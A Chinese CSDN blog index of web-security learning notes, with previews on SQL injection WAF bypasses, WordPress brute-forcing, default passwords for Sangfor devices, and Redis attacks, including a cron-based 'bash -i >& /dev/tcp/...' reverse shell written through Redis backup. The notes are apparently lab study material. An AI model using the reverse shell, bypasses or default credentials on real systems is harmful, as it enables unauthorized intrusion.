![](https://img-blog.csdnimg.cn/20210401170440116.jpeg?x-oss-process=image/resize,m_fixed,h_224,w_224)
WEB安全
文章平均质量分 55
WEB安全学习记录
网络安全练习生
网络安全练习生
展开
-
6句JS代码遍历提取页面Urls
urls = []$$('*').forEach(element => { urls.push(element.src) urls.push(element.href) urls.push(element.url)}); console.log(...new Set(urls))原创 2021-12-15 09:50:42 · 1276 阅读 · 0 评论 -
恶意样本分析网站集合
1、微步沙盒: https://s.threatbook.cn/2、腾讯哈勃分析系统: https://habo.qg.com/3、魔盾: https://www.maldun.com/analysis/4、微点沙盒: https://sandbox.depthsec.com.cn/index.php/5、奇安信文件深度分析平台: https://sandbox.ti.qianxin.com/sandbox/page6、ANYRUN : https://app.any.run/7、H原创 2021-02-09 22:33:13 · 852 阅读 · 0 评论 -
Worldpress常规利用思路
文章目录0x01 弱口令利用0x02 插件漏洞利用worldpress是一款主流的博客系统,但是关于它的漏洞也层出不穷。这次是因为一次CTF靶场遇到此类情况,顺便做个简单记录。worldpress系统本身比较安全,但是因为它可以自定义插件,很多时候因为插件作者安全开发的能力有高有低,导致许多安全漏洞的出现。0x01 弱口令利用后台默认地址为:xxxx/wp-admin/没有验证码可以暴力破解,常见用户名admin,worldpress,system等。进入后台后的利用:1 上传主题包gets原创 2021-03-29 12:38:07 · 1507 阅读 · 0 评论 -
【WEB安全自学】第一节 WEB基础环境搭建
文章目录前言搭建记录系统概况基本环境安装安装GCC安装PCRE安装Zlib安装Openssl安装EPEL-release安装Nginx安装php-fpm安装MySQL安全思考服务器数据库应用系统中间件快捷键安装思考前言利用linux+nginx+php-fpm+mysql搭建网站并能够运行php代码,连接数据库并执行mysql语句。搭建记录系统概况centos 7基本环境安装安装GCCyum install gcc-c++安装PCREyum install -y pcre pcre-d原创 2022-03-01 21:42:05 · 5932 阅读 · 0 评论 -
常见网络设备口令备忘录
设备默认账号默认密码深信服产品sangforsangfor sangfor@2018 sangfor@2019深信服科技 ADdlanrecover深信服负载均衡 AD 3.6adminadmin深信服WAC ( WNS V2.6)adminadmin深信服v-p-nAdminAdmin深信服ipsec-V-P-N (SSL 5.5)AdminAdmin深信服AC6.0adminadminSANGFOR防火墙adm...原创 2022-01-04 13:08:11 · 1693 阅读 · 0 评论 -
SQL注入常见绕过简单小结
文章目录1. 更改提交方式2. 垃圾数据绕过3. 双写绕过4. HTTP参数绕过5. 编码绕过6. 大小写绕过7. 等价函数8. 其他1. 更改提交方式?id=1 and 1=2 – + 页面无变化切换POST方法后,id=1 and 1=2 – + 页面内容消失说明语句成立,可以继续注入!2. 垃圾数据绕过and 1=1 – + 错误And 1=1 – + 错误And+1=1 错误一直没数据显示,尝试垃圾数据填充绕过,原理就是相关参原创 2021-12-15 15:11:11 · 4712 阅读 · 0 评论 -
Redis安全攻防(三)设置密码认证
我们可以通过 redis 的配置文件设置密码参数,这样客户端连接到 redis 服务就需要密码验证,这样可以让你的 redis 服务更安全。文章目录1.查看密码设置情况2. 设置密码认证1.查看密码设置情况127.0.0.1:6379> CONFIG get requirepass1) "requirepass"2) ""默认情况下 requirepass 参数是空的,这就意味着你无需通过密码验证就可以连接到 redis 服务。2. 设置密码认证127.0.0.1:6379>原创 2021-04-02 13:34:46 · 475 阅读 · 1 评论 -
Redis安全攻防(二)Redis通过备份功能实现的三种攻击方法
0x01 利用redis备份写定时任务反弹shell原理:利用redis备份功能进行文件操作开始前可以做个备份,实际攻击中最好先执行config get dir 记清楚原来备份路径,方便还原擦除痕迹利用redis-cli -h 目标ip 连接redis服务器执行以下命令:set x "\n* * * * * bash -i >& /dev/tcp/192.168.199.187/7999 0>&1\n" //设置变量x,引号里为变量内容,这也备份的时候可以把原创 2021-03-29 11:42:06 · 499 阅读 · 0 评论 -
Redis安全攻防(一)未授权访问复现
在渗透目标中遇到好几次,记录下方便学习,以后攻击利用。靶机情况:攻击机:192.168.199.187 / osx /redis4.0目标机:192.168.199.136 / centos 7 /redis5.00x01 未授权漏洞访问1.1 wget 获取redis5.0(攻击机和靶机都需要redis环境)wget download.redis.io/releases/redis-5.0.0.tar.gz1.2 解压1.3 编译Make编译,有的系统可能报错。是因为缺少G原创 2021-03-29 11:37:31 · 291 阅读 · 0 评论 -
MySQL注入笔记(三)—特殊库information_schema利用
文章目录1.基本介绍2.特殊库中的常用表3.通过特殊库查询信息3.1.查询数据库3.2 查询数据表3.3查询字段3.4查询数值1.基本介绍Mysql version>5.0 存在该库可以当作整个数据库的索引字典,利用它可以查询(爆破)指定库名,列名,表名等。4.0以上支持union4.1以上支持子查询2.特殊库中的常用表SCHEMATA:可查询库信息TABLES:可查询表信息COLUMNS:查询列名3.通过特殊库查询信息3.1.查询数据库select schema_name原创 2021-04-07 15:57:11 · 457 阅读 · 0 评论 -
MySQL注入Bypass技巧汇总
文章目录1.通过文件名查表1.通过文件名查表mysql> show tables;+--------------------+| Tables_in_students |+--------------------+| class |+--------------------+1 row in set (0.00 sec)mysql> SELECT FILE FROM `sys`.`io_global_by_file_by_bytes` WHERE F原创 2021-04-07 14:14:30 · 304 阅读 · 0 评论 -
MySQL注入笔记(二)—MySQL注入常用函数
测试环境为MACOS,数据库版本为8.0.20原创 2021-04-01 10:09:00 · 343 阅读 · 0 评论 -
MySQL注入笔记(一)—数据库表增删操作
文章目录1.登录数据库2.查询当前所有库3.创建一个数据库4.创建一个数据表5.填入字段对数值6.删除数据库1.登录数据库mysql -u root -p ## 回车输入密码即可登录2.查询当前所有库show databases;3.创建一个数据库create database students;4.创建一个数据表创建新数据表admin,增添id,username,password字段create table admin (id int,username varchar(25原创 2021-03-31 14:07:03 · 111 阅读 · 0 评论